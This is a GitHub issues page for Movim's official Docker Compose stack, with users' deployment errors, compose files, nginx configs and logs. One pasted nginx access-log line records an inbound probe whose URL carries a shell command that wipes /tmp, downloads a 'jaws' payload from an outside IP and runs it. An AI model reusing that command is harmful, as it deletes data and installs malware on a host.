movim / movim_docker Goto Github PK
View Code? Open in Web Editor NEWOfficial Docker Compose stack for Movim, maintained by @kawaii and the @movim team
Home Page: https://movim.eu/
License: GNU Affero General Public License v3.0
Official Docker Compose stack for Movim, maintained by @kawaii and the @movim team
Home Page: https://movim.eu/
License: GNU Affero General Public License v3.0
Hi,
Trying to get Movim up and running on a stock Ubuntu box with no other docker containers running.
hihi(adam)$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04 LTS
Release: 20.04
Codename: focal
hihi(adam)$ dpkg -l | grep docker
ii docker-ce 5:19.03.11~3-0~ubuntu-focal amd64 Docker: the open-source application container engine
ii docker-ce-cli 5:19.03.11~3-0~ubuntu-focal amd64 Docker CLI: the open-source application container engine
ii python3-docker 4.1.0-1 all Python 3 wrapper to access docker.io's control socket
ii python3-dockerpty 0.4.1-2 all Pseudo-tty handler for docker Python client (Python 3.x)
Copied the YML from the Readme file (image is movim/movim:0.18rc8)
Edited MOVIM_PASSWORD, MOVIM_DOMAIN and POSTGRES_PASSWORD
Started with docker-compose
Got the error below
movim_1 | --- Server Configuration - nginx ---
movim_1 | Add this in your configuration file
movim_1 | location /ws/ {
movim_1 | proxy_pass http://127.0.0.1:8080/;
movim_1 | proxy_http_version 1.1;
movim_1 | proxy_set_header Upgrade $http_upgrade;
movim_1 | proxy_set_header Connection "Upgrade";
movim_1 | proxy_set_header Host $host;
movim_1 | proxy_set_header X-Real-IP $remote_addr;
movim_1 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
movim_1 | proxy_set_header X-Forwarded-Proto https;
movim_1 | proxy_redirect off;
movim_1 | }
movim_1 |
movim_1 | An error occured, check syslog for more information
movim_1 |
movim_1 | In UnixServer.php line 75:
movim_1 |
movim_1 | [RuntimeException]
movim_1 | Failed to listen on Unix domain socket "unix:///var/www/html/cache/socketap
movim_1 | i.sock": Unknown error
movim_1 |
movim_1 |
movim_1 | Exception trace:
movim_1 | at /var/www/html/vendor/react/socket/src/UnixServer.php:75
movim_1 | React\Socket\UnixServer->__construct() at /var/www/html/vendor/react/socket/src/Server.php:34
movim_1 | React\Socket\Server->__construct() at /var/www/html/src/Movim/Console/DaemonCommand.php:110
movim_1 | Movim\Console\DaemonCommand->execute() at /var/www/html/vendor/symfony/console/Command/Command.php:255
movim_1 | Symfony\Component\Console\Command\Command->run() at /var/www/html/vendor/symfony/console/Application.php:1000
movim_1 | Symfony\Component\Console\Application->doRunCommand() at /var/www/html/vendor/symfony/console/Application.php:271
movim_1 | Symfony\Component\Console\Application->doRun() at /var/www/html/vendor/symfony/console/Application.php:147
movim_1 | Symfony\Component\Console\Application->run() at /var/www/html/daemon.php:20
movim_1 |
movim_1 | start [-u|--url [URL]] [-p|--port [PORT]] [-i|--interface [INTERFACE]] [-d|--debug]
movim_1 |
movim_movim_1 exited with code 1
The example compose from the readme file uses the image tag 'latest' yet this is not available.
Therefore when pulling, an error is reported:
sudo docker-compose pull
ERROR: for movim manifest for movim/movim:latest not found
ERROR: manifest for movim/movim:latest not found
Checking Docker Hub, there is no latest tag https://hub.docker.com/r/movim/movim/tags
The most recent tag at the time of writing is 0.14.1rc5
A workaround is to update the image to the available tag:
Change:
image: movim/movim:latest
to
image: movim/movim:0.14.1rc5
The solution is to either update the example file, or use the 'latest'; tag.
Is there some way to utilize MySQL with this docker image? I have an external database server that I would like to use, but which has only MySQL installed. Given that this is generally supported by Movim it would be cool if the Docker image would have this option as well.
Thanks!
I'm trying to run the dockerized version locally for testing before deploying to a production environment.
I setup the docker-compose.yml file, and nginx/default.conf as per the instructions. I start the stack using docker-compose up and everything seems to work. I can access the Movim UI from my browser.
I then go on to run the command: docker-compose exec movim php daemon.php setAdmin [email protected]
(with my own JIB), but I get the error: User [email protected] not found
How can I fix this? - Any help would be much appreciated.
Here is my docker-compose.yml:
services:
movim:
environment:
DAEMON_URL: http://localhost
DAEMON_PORT: 8080
DAEMON_INTERFACE: 127.0.0.1
DB_DRIVER: pgsql
DB_HOST: postgresql
DB_PORT: 5432
DB_DATABASE: movim
DB_USERNAME: movim
DB_PASSWORD: changeme
image: movim/movim:0.21.1
volumes:
- ${PWD}/movim:/var/www/html:rw
nginx:
image: nginx:mainline-alpine
ports:
- published: 8833
target: 80
volumes:
- ${PWD}/movim:/var/www/html:ro
- ${PWD}/nginx:/etc/nginx/conf.d:ro
dns:
8.8.8.8
postgresql:
environment:
POSTGRES_DB: movim
POSTGRES_PASSWORD: changeme
POSTGRES_USER: movim
image: postgres:15-alpine
volumes:
- ${PWD}/postgres/data:/var/lib/postgresql/data:rw
version: '3.7'
my nginx/default.conf:
upstream movim-http {
server movim:9000;
}
upstream movim-ws {
server movim:8080;
}
fastcgi_cache_path /tmp/nginx_cache levels=1:2 keys_zone=nginx_cache:100m inactive=60m;
fastcgi_cache_key "$scheme$request_method$host$request_uri";
server {
listen 80;
server_name localhost;
index index.php index.html;
root /var/www/html/public;
location / {
try_files $uri /index.php?$args;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass movim-http;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
location /ws/ {
proxy_pass http://127.0.0.1:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "Upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto https;
proxy_redirect off;
}
location /picture {
include fastcgi_params;
add_header X-Cache $upstream_cache_status;
fastcgi_ignore_headers "Cache-Control" "Expires" "Set-Cookie";
fastcgi_cache nginx_cache;
fastcgi_cache_key $request_method$host$request_uri;
fastcgi_cache_valid any 1h;
}
}
movim_1 | 2018-06-21T15:23:11.418548000Z Movim not found in /var/www/html - copying now...
movim_1 | 2018-06-21T15:23:12.215160000Z Complete! Movim 0.13 has been successfully copied to /var/www/html
movim_1 | 2018-06-21T15:23:12.603617000Z Oops... something went wrong.
movim_1 | 2018-06-21T15:23:12.604025000Z Uncaught Error: Undefined class constant 'MYSQL_ATTR_FOUND_ROWS' in /var/www/html/vendor/movim/modl/src/Modl/Modl.php:134
movim_1 | 2018-06-21T15:23:12.604312000Z Stack trace:
movim_1 | 2018-06-21T15:23:12.604619000Z #0 /var/www/html/src/Movim/Bootstrap.php(302): Modl\Modl->connect()
movim_1 | 2018-06-21T15:23:12.604896000Z #1 /var/www/html/src/Movim/Bootstrap.php(27): Movim\Bootstrap->loadModl()
movim_1 | 2018-06-21T15:23:12.605220000Z #2 /var/www/html/mud.php(14): Movim\Bootstrap->boot()
movim_1 | 2018-06-21T15:23:12.605515000Z #3 {main}
movim_1 | 2018-06-21T15:23:12.605792000Z thrown
movim_1 | 2018-06-21T15:23:12.606085000Z in /var/www/html/vendor/movim/modl/src/Modl/Modl.php (line 134)
movim_1 | 2018-06-21T15:23:12.671163000Z konuro_movim_1 exited with code 255
I tried building movim my own by cloning this repo and changing tag and sha1sum but it fails to start. Apparently there's a composer update in the script which is not supposed to run. Would you mind having a look at this and update the release?
Looks like it is only checking if there are Movim files in the /html folder of the volume and installs them if these files are missing.
However on a container upgrade this is very misleading that the old Movim files in /html are apparently retained, thus breaking the update.
Manually deleting all files in the /html folder of the movim volume works as this triggers the new installation of the latest version of these files.
Hi!
I get this error when i run docker. Maybe is in the bash script "docker-entrypoint.sh". Why? Do i something wrong?
I build first and then run the container. Build run successfully.
Regards,
Peter
Two quick questions. The first question is, does this docker image also contain an XMPP server? The second question is if am tunneling this out to the internet do I only need to expose the webserver port?
Thanks, Lilly
When trying to build this container using what the README
provides, it complains that there's no movim/movim:0.21rc11
.
There's not a 0.21rc11
tag available here: https://hub.docker.com/r/movim/movim/tags
And when trying to just use the latest tag, the README
is outdated per #28
I propose to move these dockerfiles to movim repository & integrate with github actions to build a new docker image & push it to registry on each release or commit
@edhelas I can take up the migration task, if this sounds good :)
Upgrading from 0.21rc2 to 0.21.1 results in movim listening on 127.0.0.1:8080 and not 0.0.0.0:8080. This causes the web application to be unable to connect to the movim server.
When issuing a netstat command within the movim container, I see it is only listening on localhost, meaning the nginx container cannot connect to port 8080. Nothing in the environment settings has changed other than the version number.
Seems to be ignoring the MOVIM_INTERFACE
setting.
Snippet docker-compose.yml
version: '3.7'
services:
movim:
depends_on:
nginx:
condition: service_started
prosody:
condition: service_started
environment:
MOVIM_ADMIN: admin
MOVIM_DOMAIN: https://chat.domain.tld
MOVIM_INTERFACE: 0.0.0.0
MOVIM_PASSWORD: SecretKey
MOVIM_PORT: "8080"
POSTGRES_DB: movim
POSTGRES_HOST: postgresql
POSTGRES_PASSWORD: SecretKey
POSTGRES_PORT: "5432"
POSTGRES_USER: movim
image: movim/movim:0.21.1
networks:
default: null
ports:
- mode: ingress
host_ip: 127.0.0.1
target: 8080
published: "37012"
protocol: tcp
restart: on-failure
volumes:
- type: bind
source: /srv/container-volumes/movim
target: /var/www/html
bind:
create_host_path: true
nginx:
image: nginx:mainline-alpine
networks:
default: null
ports:
- mode: ingress
host_ip: 127.0.0.1
target: 80
published: "37011"
protocol: tcp
restart: on-failure
volumes:
- type: bind
source: /srv/container-volumes/movim
target: /var/www/html
read_only: true
bind:
create_host_path: true
- type: bind
source: /srv/container-deployments/movim/deploy/nginx
target: /etc/nginx/conf.d
read_only: true
bind:
create_host_path: true
v0.21rc2
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN
v0.21.1
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
I tried several versions 14 and 15, the result is the same.
Unencrypted
movim_1 | An error occured, check syslog for more information
movim_1 |
movim_1 | Warning: file_put_contents(/var/www/html/cache/websocket): failed to open stream: Permission denied in /var/www/html/src/Movim/Daemon/Core.php on line 83
movim_1 | An error occured, check syslog for more information
movim_1 |
movim_1 |
movim_1 | [RuntimeException]
movim_1 | Failed to listen on Unix domain socket "unix:///var/www/html/cache/socketap
movim_1 | i.sock": Unknown error
movim_1 |
movim_1 |
movim_1 | Exception trace:
movim_1 | () at /var/www/html/vendor/react/socket/src/UnixServer.php:75
movim_1 | React\Socket\UnixServer->__construct() at /var/www/html/vendor/react/socket/src/Server.php:34
movim_1 | React\Socket\Server->__construct() at /var/www/html/src/Movim/Console/DaemonCommand.php:108
movim_1 | Movim\Console\DaemonCommand->execute() at /var/www/html/vendor/symfony/console/Command/Command.php:264
movim_1 | Symfony\Component\Console\Command\Command->run() at /var/www/html/vendor/symfony/console/Application.php:874
movim_1 | Symfony\Component\Console\Application->doRunCommand() at /var/www/html/vendor/symfony/console/Application.php:228
movim_1 | Symfony\Component\Console\Application->doRun() at /var/www/html/vendor/symfony/console/Application.php:130
movim_1 | Symfony\Component\Console\Application->run() at /var/www/html/daemon.php:18
What could be the problem?
docker-compose config.The official movim configuration parameters do not seem to be up to date.
`services:
prosody:
image: prosody/prosody:latest
environment:
- LOCAL=xadmin
- DOMAIN=localhost
- PASSWORD=changeme
ports:
- 5222:5222
- 5347:5347
#volumes:
# - ${PWD}/prosody/configuration:/etc/prosody
# - ${PWD}/prosody/logs:/var/log/prosody
# - ${PWD}/prosody/modules:/usr/lib/prosody-modules
movim:
environment:
DAEMON_URL: http://localhost
DAEMON_PORT: 8080
DAEMON_INTERFACE: 127.0.0.1
DB_DRIVER: pgsql
DB_HOST: postgresql
DB_PORT: 5432
DB_DATABASE: movim
DB_USERNAME: movim
DB_PASSWORD: changeme
MOVIM_ADMIN: admin
MOVIM_PASSWORD: changeme
MOVIM_DOMAIN: http://localhost
MOVIM_PORT: 8080
MOVIM_INTERFACE: 0.0.0.0
POSTGRES_DB: movim
POSTGRES_HOST: postgresql
POSTGRES_PORT: 5432
POSTGRES_USER: movim
POSTGRES_PASSWORD: changeme
image: movim/movim
volumes:
- ${PWD}/movim:/var/www/html:rw
nginx:
image: nginx:mainline-alpine
ports:
- published: 80
target: 80
volumes:
- ${PWD}/movim:/var/www/html:ro
- ${PWD}/nginx:/etc/nginx/conf.d:ro
postgresql:
environment:
POSTGRES_DB: movim
POSTGRES_PASSWORD: changeme
POSTGRES_USER: movim
image: postgres:15-alpine
volumes:
- ${PWD}/postgres/data:/var/lib/postgresql/data:rw
version: '3.8'`
error log
$ docker-compose up
Creating network "movim_default" with the default driver
Creating movim_nginx_1 ... done
Creating movim_movim_1 ... done
Creating movim_postgresql_1 ... done
Creating movim_prosody_1 ... done
Attaching to movim_prosody_1, movim_nginx_1, movim_movim_1, movim_postgresql_1
prosody_1 | startup info Hello and welcome to Prosody version 0.11.9
prosody_1 | startup info Prosody is using the select backend for connection handling
prosody_1 | certmanager error SSL/TLS: Failed to load '/etc/prosody/certs/localhost.key': Check that the permissions allow Prosody to read this file. (for localhost)
prosody_1 | localhost:tls error Error creating context for c2s: error loading private key (Permission denied)
prosody_1 | certmanager error SSL/TLS: Failed to load '/etc/prosody/certs/localhost.key': Previous error (see logs), or other system error. (for localhost)
prosody_1 | localhost:tls error Error creating contexts for s2sout: error loading private key (system lib)
nginx_1 | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration
nginx_1 | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh
nginx_1 | 10-listen-on-ipv6-by-default.sh: info: can not modify /etc/nginx/conf.d/default.conf (read-only file system?)
nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh
nginx_1 | /docker-entrypoint.sh: Configuration complete; ready for start up
nginx_1 | 2023/05/10 06:36:48 [notice] 1#1: using the "epoll" event method
nginx_1 | 2023/05/10 06:36:48 [notice] 1#1: nginx/1.23.4
nginx_1 | 2023/05/10 06:36:48 [notice] 1#1: built by gcc 12.2.1 20220924 (Alpine 12.2.1_git20220924-r4)
nginx_1 | 2023/05/10 06:36:48 [notice] 1#1: OS: Linux 5.4.0-77-generic
nginx_1 | 2023/05/10 06:36:48 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576
prosody_1 | certmanager error SSL/TLS: Failed to load '/etc/prosody/certs/localhost.key': Previous error (see logs), or other system error. (for localhost)
prosody_1 | localhost:tls error Error creating contexts for s2sin: error loading private key (system lib)
prosody_1 | localhost:tls info Certificates loaded
prosody_1 | portmanager info Activated service 's2s' on [::]:5269, [*]:5269
prosody_1 | portmanager info Activated service 'c2s' on [::]:5222, [*]:5222
prosody_1 | portmanager info Activated service 'legacy_ssl' on no ports
nginx_1 | 2023/05/10 06:36:48 [notice] 1#1: start worker processes
nginx_1 | 2023/05/10 06:36:48 [notice] 1#1: start worker process 22
nginx_1 | 2023/05/10 06:36:48 [notice] 1#1: start worker process 23
nginx_1 | 2023/05/10 06:36:48 [notice] 1#1: start cache manager process 24
nginx_1 | 2023/05/10 06:36:48 [notice] 1#1: start cache loader process 25
postgresql_1 |
postgresql_1 | PostgreSQL Database directory appears to contain a database; Skipping initialization
postgresql_1 |
postgresql_1 | 2023-05-10 06:36:48.746 UTC [1] LOG: starting PostgreSQL 15.2 on x86_64-pc-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit
postgresql_1 | 2023-05-10 06:36:48.746 UTC [1] LOG: listening on IPv4 address "0.0.0.0", port 5432
postgresql_1 | 2023-05-10 06:36:48.748 UTC [1] LOG: listening on IPv6 address "::", port 5432
postgresql_1 | 2023-05-10 06:36:48.757 UTC [1] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
postgresql_1 | 2023-05-10 06:36:48.767 UTC [24] LOG: database system was shut down at 2023-05-10 03:40:13 UTC
postgresql_1 | 2023-05-10 06:36:48.778 UTC [1] LOG: database system is ready to accept connections
movim_1 | Phinx by CakePHP - https://phinx.org.
movim_1 |
movim_1 | using config file phinx.php
movim_1 | using config parser php
movim_1 | using migration paths
movim_1 | - /var/www/html/database/migrations
movim_1 | using seed paths
movim_1 | warning no environment specified, defaulting to: movim
movim_1 | using adapter pgsql
movim_1 | using database movim
movim_1 | ordering by creation time
movim_1 |
movim_1 | All Done. Took 0.0777s
movim_1 | [10-May-2023 06:36:49] NOTICE: fpm is running, pid 18
movim_1 | [10-May-2023 06:36:49] NOTICE: ready to handle connections
movim_1 |
movim_1 |
movim_1 | In ArgvInput.php line 220:
movim_1 |
movim_1 | [Symfony\Component\Console\Exception\RuntimeException]
movim_1 | The "--url" option does not exist.
movim_1 |
movim_1 |
movim_1 | Exception trace:
movim_1 | at /var/www/html/vendor/symfony/console/Input/ArgvInput.php:220
movim_1 | Symfony\Component\Console\Input\ArgvInput->addLongOption() at /var/www/html/vendor/symfony/console/Input/ArgvInput.php:147
movim_1 | Symfony\Component\Console\Input\ArgvInput->parseLongOption() at /var/www/html/vendor/symfony/console/Input/ArgvInput.php:82
movim_1 | Symfony\Component\Console\Input\ArgvInput->parseToken() at /var/www/html/vendor/symfony/console/Input/ArgvInput.php:71
movim_1 | Symfony\Component\Console\Input\ArgvInput->parse() at /var/www/html/vendor/symfony/console/Input/Input.php:55
movim_1 | Symfony\Component\Console\Input\Input->bind() at /var/www/html/vendor/symfony/console/Command/Command.php:257
movim_1 | Symfony\Component\Console\Command\Command->run() at /var/www/html/vendor/symfony/console/Application.php:1040
movim_1 | Symfony\Component\Console\Application->doRunCommand() at /var/www/html/vendor/symfony/console/Application.php:301
movim_1 | Symfony\Component\Console\Application->doRun() at /var/www/html/vendor/symfony/console/Application.php:171
movim_1 | Symfony\Component\Console\Application->run() at /var/www/html/daemon.php:20
movim_1 |
movim_1 | start [-d|--debug]
movim_1 |
movim_movim_1 exited with code 1
nginx_1 | 2023/05/10 06:37:48 [notice] 25#25: http file cache: /tmp/nginx_cache 0.000M, bsize: 4096
nginx_1 | 2023/05/10 06:37:48 [notice] 1#1: signal 17 (SIGCHLD) received from 25
nginx_1 | 2023/05/10 06:37:48 [notice] 1#1: cache loader process 25 exited with code 0
nginx_1 | 2023/05/10 06:37:48 [notice] 1#1: signal 29 (SIGIO) received
postgresql_1 | 2023-05-10 06:41:48.868 UTC [22] LOG: checkpoint starting: time
postgresql_1 | 2023-05-10 06:41:48.901 UTC [22] LOG: checkpoint complete: wrote 3 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.005 s, sync=0.007 s, total=0.033 s; sync files=2, longest=0.005 s, average=0.004 s; distance=0 kB, estimate=0 kB
nginx_1 | 14.175.120.67 - - [10/May/2023:06:44:06 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 5.255.111.128/jaws;sh+/tmp/jaws HTTP/1.1" 400 157 "-" "-" "-"```
I've installed movim using the docker container image (docker.io/movim/movim:0.21.1) under podman, with postgres running on a different pod.
I've set the database host using env variable DB_HOST=postgres
.
On creating the container, it successfully connects to the database and populates the public schema.
If I try to log in as a user, it fails to progress past the request, and the debug logs show:
[2023-06-29T15:37:00.625612+00:00] movim.ERROR: Illuminate\Database\QueryException: SQLSTATE[08006] [7] could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432? (SQL: select * from "sessions" where "sessions"."id" = M4S18q6E5DoHsHHpOWUP64H2UhU7EbSW limit 1) in /var/www/html/vendor/illuminate/database/Connection.php (line 712)
Trace
#0 /var/www/html/vendor/illuminate/database/Connection.php(672): Illuminate\Database\Connection->runQueryCallback('select * from "...', Array, Object(Closure))
#1 /var/www/html/vendor/illuminate/database/Connection.php(376): Illuminate\Database\Connection->run('select * from "...', Array, Object(Closure))
#2 /var/www/html/vendor/illuminate/database/Query/Builder.php(2414): Illuminate\Database\Connection->select('select * from "...', Array, true)
#3 /var/www/html/vendor/illuminate/database/Query/Builder.php(2402): Illuminate\Database\Query\Builder->runSelect()
#4 /var/www/html/vendor/illuminate/database/Query/Builder.php(2936): Illuminate\Database\Query\Builder->Illuminate\Database\Query\{closure}()
#5 /var/www/html/vendor/illuminate/database/Query/Builder.php(2403): Illuminate\Database\Query\Builder->onceWithColumns(Array, Object(Closure))
#6 /var/www/html/vendor/illuminate/database/Eloquent/Builder.php(625): Illuminate\Database\Query\Builder->get(Array)
#7 /var/www/html/vendor/illuminate/database/Eloquent/Builder.php(609): Illuminate\Database\Eloquent\Builder->getModels(Array)
#8 /var/www/html/vendor/illuminate/database/Concerns/BuildsQueries.php(294): Illuminate\Database\Eloquent\Builder->get(Array)
#9 /var/www/html/vendor/illuminate/database/Eloquent/Builder.php(400): Illuminate\Database\Eloquent\Builder->first(Array)
#10 /var/www/html/vendor/illuminate/support/Traits/ForwardsCalls.php(23): Illuminate\Database\Eloquent\Builder->find('M4S18q6E5DoHsHH...')
#11 /var/www/html/vendor/illuminate/database/Eloquent/Model.php(2132): Illuminate\Database\Eloquent\Model->forwardCallTo(Object(Illuminate\Database\Eloquent\Builder), 'find', Array)
#12 /var/www/html/vendor/illuminate/database/Eloquent/Model.php(2144): Illuminate\Database\Eloquent\Model->__call('find', Array)
#13 /var/www/html/src/Movim/Bootstrap.php(253): Illuminate\Database\Eloquent\Model::__callStatic('find', Array)
#14 /var/www/html/src/Movim/Bootstrap.php(48): Movim\Bootstrap->startingSession()
#15 /var/www/html/linker.php(17): Movim\Bootstrap->boot()
#16 {main}
See discussion here: movim/movim#1220
With this change: movim/movim@c95ae58
I confirmed that you can directly serve the static files via the host Nginx that is needed anyways.
I think that would make the setup via Docker a bit easier.
When I run my «docker-compose up» it returns :
movim | Phinx by CakePHP - https://phinx.org. 0.9.2
movim |
movim | using config file ./phinx.php
movim | using config parser php
movim | using migration paths
movim | - /var/www/movim/database/migrations
movim | using seed paths
movim | - /var/www/movim/database/seeds
movim | warning no environment specified, defaulting to: movim
movim | using adapter pgsql
movim | using database movim
movim |
movim |
movim | [InvalidArgumentException]
movim | There was a problem connecting to the database: SQLSTATE[08006] [7] could n
movim | ot connect to server: Connection refused
movim | Is the server running on host "postgres" (172.20.0.2) and accepting
movim | TCP/IP connections on port 5432?
movim |
movim |
movim | migrate [-c|--configuration CONFIGURATION] [-p|--parser PARSER] [-e|--environment ENVIRONMENT] [-t|--target TARGET] [-d|--date DATE] [-x|--dry-run]
movim |
movim |
movim | PHP Fatal error: Uncaught Exception: Unable to write to /var/www/movim/log/logger.log in /var/www/movim/src/Movim/Bootstrap.php:66
movim | Stack trace:
movim | #0 /var/www/movim/src/Movim/Bootstrap.php(33): Movim\Bootstrap->checkSystem()
movim | #1 /var/www/movim/daemon.php(13): Movim\Bootstrap->boot(false)
movim | #2 {main}
movim | thrown in /var/www/movim/src/Movim/Bootstrap.php on line 66
movim | Oops... something went wrong.
movim | Uncaught Exception: Unable to write to /var/www/movim/log/logger.log in /var/www/movim/src/Movim/Bootstrap.php:66
movim | Stack trace:
movim | #0 /var/www/movim/src/Movim/Bootstrap.php(33): Movim\Bootstrap->checkSystem()
movim | #1 /var/www/movim/daemon.php(13): Movim\Bootstrap->boot(false)
movim | #2 {main}
movim | thrown
movim | in /var/www/movim/src/Movim/Bootstrap.php (line 66)
...
...
My movim.env file :
NGINX_VHOST=localhost
MOVIM_DOMAIN=http://localhost/
MOVIM_PORT=8080
MOVIM_INTERFACE=0.0.0.0
MOVIM_ADMIN=adminuser
MOVIM_PASSWORD=adminpassword
POSTGRES_USER=movim
POSTGRES_PASSWORD=movimpassword
POSTGRES_DB=movim
Why movim container can't access to postgre container ?
Regards.
Please get the official docker container available and updated to the latest version.
Hi,
we try deploy without docker compose a full docker environment using these command for deploying our own movim pod for our company.
-> create a docker network
docker network create --subnet=172.20.0.0/16 my-net
-> create postgres container
docker create --restart=always --name postgres -p 5432:5432
-e POSTGRES_USER=root -e POSTGRES_PASSWORD=movim
-v /var/volumes/postgres/:/var/lib/postgresql/data
-e POSTGRES_DB=movim --net my-net postgres
-> create pgADmin container to acces to the databse using http
docker create --restart=always --name pgAdmin -p 8000:80
-e "PGADMIN_DEFAULT_EMAIL=[email protected]"
-e "PGADMIN_DEFAULT_PASSWORD=postgres"
--net my-net
dpage/pgadmin4
->create xmpp openfire container
docker create --name xmpp --restart=always
-p 9090:9090 -p 5222:5222 -p 7777:7777
-v /var/volumes/openfire/:/var/lib/openfire/
--net my-net gizmotronic/openfire
->create movim container
docker create --name movim --net my-net --restart=always
-e POSTGRES_DB=movim -e POSTGRES_HOST=postgres
-e POSTGRES_PORT=5432 -e POSTGRES_USER=root
-e POSTGRES_PASSWORD=movim -e MOVIM_ADMIN=movim
-e MOVIM_PASSWORD=movim -e MOVIM_DOMAIN=http://localhost/
-p 8080:8080 -e MOVIM_PORT=8080 -e MOVIM_INTERFACE=0.0.0.0
movim/movim:0.14.1rc4_
after running all these container
i'm able to connect to my postgres database movim , my xmpp server openfire. But i can't connect to any administrative web interface for movim in order to set the xmpp server to use as well as i can't connect to movim using the Mac OS client .
For the movim container
Do you have any documentation about how to create a movim container properly ?
is there any missing environment variable in my docker create container ?
How to define in the movim container the link to the xmpp container ?
Is there any web technical interface to configure it using the browser ?
Thanks in advance for you quick answer
Cohorte technologies.
What can I do with "PWD" variable?
WARN[0000] The "PWD" variable is not set. Defaulting to a blank string.
WARN[0000] The "PWD" variable is not set. Defaulting to a blank string.
WARN[0000] The "PWD" variable is not set. Defaulting to a blank string.
WARN[0000] The "PWD" variable is not set. Defaulting to a blank string.
[+] Running 3/3
⠿ Container movim-movim-1 Started 4.5s
⠿ Container movim-nginx-1 Started 4.2s
⠿ Container movim-postgresql-1 Started 3.7s
The latest version of Movim is 0.22.3, released Aug 3, but the latest docker image is 0.22, released July 7. Is Docker no longer an officially supported way of using Movim?
The document root path does not match. The oficial Docker nginx images
uses /usr/share/nginx/html
as default, but the movim image and the stack.yaml example use /var/www/html
.
I noticed that every time I start the container Movim copies itself to the directory even though it is already there. The culprit seems to be this line that assumes that index.php
will be at the root folder:
movim_docker/docker-entrypoint.sh
Line 4 in a82715f
However this was changed last year to be inside the public
folder:
movim/movim@323a3bc
At the step when composer is installing the dependencies for movim the following error occurs and the whole process is stopping.
I have checked the php-cli.ini but there are no entries for extensions.
Does anyone know something about this problem or does a workaround exist?
Step 12/16 : RUN curl -sS https://getcomposer.org/installer | php && php composer.phar install
---> Running in bfacbe5a13fd
All settings correct for using Composer
Downloading...Composer (version 1.5.2) successfully installed to: /var/www/movim/composer.phar
Use it: php composer.pharLoading composer repositories with package information
Installing dependencies (including require-dev) from lock file
Your requirements could not be resolved to an installable set of packages.Problem 1
- Installation request for react/zmq dev-master -> satisfiable by react/zmq[dev-master].
- react/zmq dev-master requires ext-zmq * -> the requested PHP extension zmq is missing from your system.To enable extensions, verify that they are enabled in your .ini files:
- /etc/php/7.0/cli/php.ini
- /etc/php/7.0/cli/conf.d/10-opcache.ini
- /etc/php/7.0/cli/conf.d/10-pdo.ini
- /etc/php/7.0/cli/conf.d/15-xml.ini
- /etc/php/7.0/cli/conf.d/20-calendar.ini
- /etc/php/7.0/cli/conf.d/20-ctype.ini
- /etc/php/7.0/cli/conf.d/20-curl.ini
- /etc/php/7.0/cli/conf.d/20-dom.ini
- /etc/php/7.0/cli/conf.d/20-exif.ini
- /etc/php/7.0/cli/conf.d/20-fileinfo.ini
- /etc/php/7.0/cli/conf.d/20-ftp.ini
- /etc/php/7.0/cli/conf.d/20-gd.ini
- /etc/php/7.0/cli/conf.d/20-gettext.ini
- /etc/php/7.0/cli/conf.d/20-iconv.ini
- /etc/php/7.0/cli/conf.d/20-imagick.ini
- /etc/php/7.0/cli/conf.d/20-json.ini
- /etc/php/7.0/cli/conf.d/20-mbstring.ini
- /etc/php/7.0/cli/conf.d/20-mcrypt.ini
- /etc/php/7.0/cli/conf.d/20-pdo_pgsql.ini
- /etc/php/7.0/cli/conf.d/20-pgsql.ini
- /etc/php/7.0/cli/conf.d/20-phar.ini
- /etc/php/7.0/cli/conf.d/20-posix.ini
- /etc/php/7.0/cli/conf.d/20-readline.ini
- /etc/php/7.0/cli/conf.d/20-shmop.ini
- /etc/php/7.0/cli/conf.d/20-simplexml.ini
- /etc/php/7.0/cli/conf.d/20-sockets.ini
- /etc/php/7.0/cli/conf.d/20-sysvmsg.ini
- /etc/php/7.0/cli/conf.d/20-sysvsem.ini
- /etc/php/7.0/cli/conf.d/20-sysvshm.ini
- /etc/php/7.0/cli/conf.d/20-tokenizer.ini
- /etc/php/7.0/cli/conf.d/20-wddx.ini
- /etc/php/7.0/cli/conf.d/20-xmlreader.ini
- /etc/php/7.0/cli/conf.d/20-xmlwriter.ini
- /etc/php/7.0/cli/conf.d/20-xsl.ini
You can also runphp --ini
inside terminal to see which files are used by PHP in CLI mode.
ERROR: Service 'movim' failed to build: The command '/bin/sh -c curl -sS
https://getcomposer.org/installer | php && php composer.phar install' returned a non-zero code: 2
Running docker-compose results in the movim service exiting on error:
docker-compose.yml:
services:
movim:
environment:
MOVIM_DOMAIN: http://localhost
MOVIM_PORT: 8080
MOVIM_INTERFACE: 0.0.0.0
POSTGRES_DB: movim
POSTGRES_HOST: postgresql
POSTGRES_PORT: 5432
POSTGRES_USER: movim
POSTGRES_PASSWORD: <password>
image: movim/movim:0.21rc5
volumes:
- ${PWD}/movim:/var/www/html:rw
nginx:
image: nginx:mainline-alpine
ports:
- published: 3030
target: 80
volumes:
